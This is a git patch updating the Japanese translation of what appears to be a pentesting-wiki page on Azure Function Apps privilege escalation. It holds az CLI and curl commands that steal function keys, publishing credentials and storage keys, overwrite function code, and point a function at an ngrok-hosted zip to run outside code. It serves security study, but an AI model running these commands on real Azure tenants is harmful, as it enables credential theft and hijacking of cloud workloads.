From 9fd427dbcb2f56e098f424bf1a8170cb59ec2bc2 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 16 Jun 2026 13:16:02 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-functions-app-privesc.md | 151 ++++++++++-------- 1 file changed, 87 insertions(+), 64 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index d63c1db95..9a41c779d 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -4,7 +4,7 @@ ## Function Apps -詳細については次のページを確認してください: +詳細は次のページを確認してください: {{#ref}} ../az-services/az-function-apps.md @@ -12,26 +12,26 @@ ### Bucket Read/Write -関数のデータを格納している Storage Account 内のコンテナを読み取る権限があれば、**異なるコンテナ**(カスタム名または事前定義された名前)を見つけ、その中に**関数が実行するコード**が含まれている可能性があります。 +Function data を保存している Storage Account 内の containers を read できる権限があると、**異なる containers**(custom または pre-defined names)を見つけられることがあり、そこに **function が実行する code** が含まれている可能性があります。 -関数のコードがどこにあるかを特定して、それに対して書き込み権限がある場合、関数に任意のコードを実行させ、関数に紐づく managed identities への権限昇格が可能になります。 +function の code の場所がわかり、そこに write 権限があれば、function に任意の code を実行させて、function に付与された managed identities へ権限昇格できます。 -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` -関数のコードは通常 file share 内に格納されます。十分なアクセス権があればコードファイルを改変して、関数に任意のコードを読み込ませ、Function に紐付く managed identities への権限昇格を行うことができます。 +function の code は通常 file share 内に保存されています。十分な access があれば code file を変更し、**function に arbitrary code を load させる**ことで、Function に付与された managed identities へ権限昇格できます。 -This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from +この deployment method は通常 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** と **`WEBSITE_CONTENTSHARE`** の settings を設定します。これらは from から取得できます。 ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -これらの設定には、Function がコードにアクセスするために使用できる **Storage Account Key** が含まれます。 +これらの configs には、Function が code にアクセスするために使用できる **Storage Account Key** が含まれます。 > [!CAUTION] -> File Share に接続して実行中の **スクリプトを変更する** ための十分な権限があれば、Function 内で任意のコードを実行し権限昇格することが可能です。 +> File Share に接続して **script を modify** するのに十分な permission があると、Function 内で arbitrary code を execute して privileges を escalate できます。 -以下の例は macOS を使って file share に接続する方法を示していますが、file share に関する詳細は次のページも確認することを推奨します: +次の example では macOS を使って file share に接続しますが、file shares についての詳細は次の page も確認することをおすすめします: {{#ref}} ../az-services/az-file-shares.md @@ -47,26 +47,26 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -function app が使用している Storage Account container の `function-releases` フォルダ内に **zip releases** が格納されていることもよくあります。通常、そのコンテナ名は **`function-releases`** です。 +また、function app がコンテナー内で使用している Storage Account container の `function-releases` フォルダ内に **zip releases** が見つかることもよくあります。**通常これは `function-releases` と呼ばれます**。 -通常、このデプロイ方法は `WEBSITE_RUN_FROM_PACKAGE` 設定を次に設定します: +通常、この deployment method は次の場所に `WEBSITE_RUN_FROM_PACKAGE` config を設定します: ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -This config will usually contain a **SAS URL to download** the code from the Storage Account. +この config には通常、Storage Account から code をダウンロードするための **SAS URL** が含まれています。 > [!CAUTION] -> 十分な権限で、その**contains the code in zip**を含むblob containerに接続できる場合、Function内で任意のコードを実行して権限を昇格させることができます。 +> **code in zip** を含む blob container に接続できる十分な permission がある場合、Function 内で arbitrary code を execute して privilege を escalate することが可能です。 - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`) -前のケースと同様に、デプロイがGithub Actions経由で行われている場合、Storage Account内にコードのzipを含むフォルダ**`github-actions-deploy`**が見つかり、設定`WEBSITE_RUN_FROM_PACKAGE`にzipへのSAS URLが含まれていることがあります。 +前の case と同様に、deployment が Github Actions 経由で行われている場合、Storage Account 内に **`github-actions-deploy`** folder を見つけることができ、そこには code の zip と、`WEBSITE_RUN_FROM_PACKAGE` setting にある zip への SAS URL が含まれています。 - **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`) -Functionのデータを格納するStorage Account内のコンテナを読み取る権限があれば、コンテナ**`scm-releases`**を見つけられます。そこには最新のリリースが**Squashfs filesystem file format**で格納されており、そのためFunctionのコードを読むことが可能です: +Function data を保存している Storage Account 内の container を read する permission があると、container **`scm-releases`** を見つけることができます。そこでは、最新の release を **Squashfs filesystem file format** で見つけられるため、Function の code を read することが可能です: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -ストレージアカウントのコンテナ **`azure-webjobs-secrets`** の **``** フォルダ内にある JSON ファイルから、**master and functions keys** を見つけられることもあります。 +**master key** と **functions keys** は、ストレージアカウント内のコンテナ **`azure-webjobs-secrets`** にある **``** フォルダ内の JSON ファイルに保存されていることもあります。中を確認してください。 > [!CAUTION] -> 十分な権限でその blob container に接続でき、かつそこが **contains the code in a zip extension file**(実際には **`squashfs`**)を含んでいる場合、it's possible to execute arbitrary code in the Function and escalate privileges. +> **zip extension file** の形でコードを含む blob container に接続するための十分な権限がある場合(実際にはこれは **`squashfs`** です)、Function 内で任意のコードを実行し、権限昇格できる可能性があります。 ```bash # Modify code inside the script in /tmp/fs adding your code @@ -118,11 +118,11 @@ az storage blob upload \ ``` ### `Microsoft.Web/sites/host/listkeys/action` -この権限により、指定した function の function、master、system キーを一覧表示できますが、host キーは含まれません。次の方法で取得できます: +この権限により、指定した function の function、master、system keys を一覧表示できますが、host key は一覧表示できません。使用方法は次のとおりです: ```bash az functionapp keys list --resource-group --name ``` -master key を使うと、次のような URL でソースコードを取得することも可能です: +master key があれば、次のような URL で source code を取得することも可能です: ```bash # Get "script_href" from az rest --method GET \ @@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # JavaScript function app example curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v ``` -そして、関数で実行されている**コードを変更する**には: +そして、関数内で実行されているコードを**変更する**には、以下を使用します: ```bash # Set the code to set in the function in /tmp/function_app.py ## Python function app example @@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot ``` ### `Microsoft.Web/sites/functions/listKeys/action` -この権限により、指定した関数のデフォルトキーを次の方法で取得できます: +この権限により、指定された function の default key を取得できます。これには次を使用します: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -取得した既定のキーを使用して関数を呼び出す: +取得したデフォルト key を使用して function を Invoke: ```bash curl "https://.azurewebsites.net/api/?code=" ``` ### `Microsoft.Web/sites/host/functionKeys/write` -この権限は、指定した関数の関数キーを次の内容で作成/更新することを許可します: +この権限により、指定された function の function key を作成/更新できます: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` ### `Microsoft.Web/sites/host/masterKey/write` -このアクセス許可は、次の方法で指定された関数のマスターキーを作成/更新することを許可します: +この権限を使用すると、指定された function に対して master key を作成/更新できます: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] -> このキーがあれば、前述のとおりソースコードにアクセスして変更することもできることを忘れないでください! +> この key を使うと、前述のとおりソースコードへもアクセスでき、変更もできます! ### `Microsoft.Web/sites/host/systemKeys/write` -This permission allows to create/update a system function key to the specified function with: +この permission により、指定した function に対して system function key を作成/更新できます。 with: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -翻訳対象のファイル内容(または該当部分)と "Use the key:" の後に続くキーを貼ってください。現在、翻訳するテキストが提供されていません。 +キーを使用: ```bash # Ejemplo: Acceso a endpoints de Durable Functions curl "https://.azurewebsites.net/runtime/webhooks/durabletask/instances?code=" @@ -193,26 +193,28 @@ curl "https://.azurewebsites.net/runtime/webhooks/eventgrid?code= --resource-group ``` -さらに、この権限により **SCM username and password**(有効になっている場合)を次の方法で取得することもできます: +さらに、この権限では、以下を使って **SCM username and password**(有効な場合)も取得できます: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -これらの権限は、先に見たように function の設定値を一覧表示できるだけでなく、**これらの値を変更する**ことも可能にします。これらの設定は function 内で実行されるコードがどこにあるかを示すため、**`WEBSITE_RUN_FROM_PACKAGE`** を web アプリケーション内で実行される新しいコードを含む ZIP ファイルの URL を指すように設定することができます: +これらの permissions では、以前見たように function の config values を一覧表示できるだけでなく、**これらの values を modify** できます。これは、これらの settings が function 内で実行される code がどこにあるかを示しているため、便利です。 -- まず現在の設定を取得します +そのため、web application 内で実行する新しい code を含む URL zip file を指すように、setting **`WEBSITE_RUN_FROM_PACKAGE`** の value を設定できます。 + +- まず current config を取得する ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -- 関数に実行させたいコードを作成し、公開してホストする +- function に実行させたい code を作成し、それを publicly ホストする ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -222,9 +224,9 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -関数を修正し、以前のパラメータは保持したまま、最後にコードを含む**zip**が置かれたURLを指す設定 **`WEBSITE_RUN_FROM_PACKAGE`** を追加してください。 +- 関数を修正し、以前のパラメータはそのままにして、末尾にコードを含む **zip** を指す **`WEBSITE_RUN_FROM_PACKAGE`** を追加する。 -以下は私の**自分の設定の例(値はご自身のものに変更してください)**です。末尾の値 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` に注目してください。ここにアプリをホストしていました。 +以下は私自身の設定の例で、**あなたは自分用の値に変更する必要があります**。末尾の値 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` に注意してください。ここが私がアプリをホストしていた場所です。 ```bash # Modify the function az rest --method PUT \ @@ -234,7 +236,7 @@ az rest --method PUT \ ``` ### `Microsoft.Web/sites/hostruntime/vfs/write` -この権限があれば、web コンソール(または以下の API エンドポイント)を通じて、**アプリケーションのコードを変更できます**: +この権限があると、web console(または以下の API endpoint)を通じて **application の code を modify することが可能** です: ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -264,7 +266,7 @@ body: responseMessage ``` ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -この権限により、基本的に**basic auth credentials**を含むすべての publishing profiles を一覧できます: +この権限により、実質的に **basic auth credentials** を含むすべての publishing profile を列挙できます: ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -272,15 +274,15 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -別のオプションとして、自分の creds を設定して次のように使用することができます: +別の選択肢として、自分の creds を設定して、次を使ってそれを利用することもできます: ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ --password 'P@ssw0rd123!' ``` -- **REDACTED** credentials の場合 +- もし **REDACTED** credentials -それらの credentials が **REDACTED** と表示される場合、それは **need to enable the SCM basic authentication option** が必要で、そのために二番目の権限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)が必要だからです: +これらの credentials が **REDACTED** と表示されている場合、それは **SCM basic authentication option を有効にする必要がある** ためです。そのためには、2つ目の permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` が必要です。 ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -300,28 +302,49 @@ az rest --method PUT \ } } ``` -- **方法 SCM** +- **Method SCM** -その後、function app の SCM URL にこれらの **basic auth credentials to the SCM URL** でアクセスし、env variables の値を取得できます: +その後、これらの **basic auth credentials to the SCM URL** を使って function app の SCM URL にアクセスし、env variables の値を取得できます: ```bash # Get settings values curl -u ':' \ https://.scm.azurewebsites.net/api/settings -v -# Deploy code to the funciton -zip function_app.zip function_app.py # Your code in function_app.py -curl -u ':' -X POST --data-binary "@" \ -https://.scm.azurewebsites.net/api/zipdeploy ``` -_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$`._ +新しいfunction codeをdownload、modify、uploadできます: +```bash +# download +curl -u ':' -X GET \ +https://.scm.azurewebsites.net/api/zip/site/wwwroot/ \ +-o current_function_code.zip -次のURLからウェブページにもアクセスできます: `https://.scm.azurewebsites.net/BasicAuth` +unzip current_function_code.zip -d updated_code/ +cd updated_code/ +#... modify the function code +zip -r ../updated_function_app.zip . +cd ../ -設定値には、function app のデータを格納する storage account の **AccountKey** が含まれており、その storage account を制御することが可能です。 +# upload +curl -u ':' https://.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v +``` +特定のファイルもアップロードできます: +```bash +curl -u ':' \ +-X PUT \ +-H "Content-Type: application/javascript" \ +-H "If-Match: *" \ +--data-binary "@./my_local_payload.js" \ +"https://.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file +``` +_なお、**SCM username** は通常、`$` の後に app 名が続く形式なので、`$` です。_ + +また、`https://.scm.azurewebsites.net/BasicAuth` から web page にアクセスできます。 + +settings の値には、function app の data を保存している storage account の **AccountKey** が含まれており、その storage account を control できるようになります。 - **Method FTP** -以下を使ってFTPサーバに接続します: +次を使用して FTP server に接続します: ```bash # macOS install lftp brew install lftp @@ -335,19 +358,19 @@ ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` -_注意: **FTP username** は通常 \\\$\ の形式です._ +_**FTP username** は通常、`\\$` の形式です。_ ### `Microsoft.Web/sites/hostruntime/vfs/read` -この権限により、VFS を通じてアプリの **ソースコードを読み取る** ことができます: +この権限により、VFS 経由でアプリの**ソースコードを読み取る**ことができます: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` ### `Microsoft.Web/sites/functions/token/action` -この権限があれば、[get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) を取得でき、それを使って後に **master key** を取得し、function's code にアクセスして変更することができます。 +この権限があると、後で **master key** を取得してその関数のコードへアクセス・変更するために使える **admin token** を [取得](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) できます。 -ただし、私の最近の確認では token は返されませんでした。無効化されているか、動作しなくなっている可能性がありますが、以下はその実行方法です: +ただし、私の最近の確認では token は返されなかったので、無効になっているか、もう動作していない可能性があります。それでも、やり方は次のとおりです: ```bash # Get admin token az rest --method GET \ @@ -359,7 +382,7 @@ curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ ``` ### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) -この権限により、無効になっている可能性のある **Functions を有効化**(または無効化)できます。 +この権限により、無効化されている可能性のある**functionsを有効化**できます(または無効化できます)。 ```bash # Enable a disabled function az functionapp config appsettings set \ @@ -367,13 +390,13 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -次の URL で、関数が有効か無効かを確認することもできます(括弧内の権限を使用): +次のURLでも、function が有効か無効かを確認できます(括弧内の permission を使用): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -これらの権限があれば、**function app が実行するコンテナを変更することが可能です**。これにより攻撃者は悪意のある azure function container app を docker hub(例えば)にアップロードし、function app にそれを実行させることができます。 +これらの権限があれば、コンテナーを実行するように構成された function app が実行するコンテナーを**変更**できます。これにより、攻撃者は悪意のある azure function container app を(たとえば)docker hub にアップロードし、function にそれを実行させることができます。 ```bash az functionapp config container set --name \ --resource-group \ @@ -381,29 +404,29 @@ az functionapp config container set --name \ ``` ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -これらの権限があれば、**attach a new user managed identity to a function** が可能です。function が compromised している場合、これにより any user managed identity に対して escalate privileges することができます。 +これらの権限があれば、**新しい user managed identity を function に attach する**ことが可能です。function が compromised されていれば、これにより任意の user managed identity へ privilege escalation できます。 ```bash az functionapp identity assign \ --name \ --resource-group \ --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` -### Remote Debugging +### リモートデバッグ -実行中の Azure function に接続してデバッグすることも可能です([**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs))。ただし、開発者が設定を忘れて脆弱な構成のままにしてしまうのを防ぐため、既定では Azure はこのオプションを 2 日後に無効にします。 +[**docsで説明されている**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)ように、実行中のAzure functionに接続してdebugすることも可能です。ですが、デフォルトではAzureはこのオプションを2日後にoffにし、開発者が忘れて脆弱な設定を残さないようにします。 -Function にデバッグが有効かどうかは、次のように確認できます: +Functionでdebuggingが有効かどうかは、以下で確認できます: ```bash az functionapp show --name --resource-group ``` -権限 `Microsoft.Web/sites/config/write` を持っていると、関数をデバッグモードにすることも可能です(以下のコマンドは `Microsoft.Web/sites/config/list/action`、`Microsoft.Web/sites/config/Read`、および `Microsoft.Web/sites/Read` の権限も必要とします)。 +`Microsoft.Web/sites/config/write` 権限があれば、function を debugging mode にすることも可能です(以下のコマンドには `Microsoft.Web/sites/config/list/action`、`Microsoft.Web/sites/config/Read`、`Microsoft.Web/sites/Read` 権限も必要です)。 ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` -### Github リポジトリを変更する +### Github repoを変更 -次のコマンドを実行してデプロイ元の Github リポジトリを変更してみましたが、たとえ変更されても **新しいコードは読み込まれませんでした**(おそらく Github Action がコードを更新するのを期待しているためです)。\ -さらに、**managed identity federated credential が新しいリポジトリを許可するようには更新されませんでした**ので、あまり有用ではないようです。 +以下のコマンドを実行して、デプロイ元のGithub repoを変更しようとしましたが、たとえ変更できたとしても、**新しいコードは読み込まれませんでした**(おそらく、Github Actionがコードを更新することを期待しているためです)。\ +さらに、**managed identityのfederated credentialも更新されず**、新しいrepositoryを許可しませんでした。そのため、これはあまり有用ではなさそうです。 ```bash # Remove current az functionapp deployment source delete \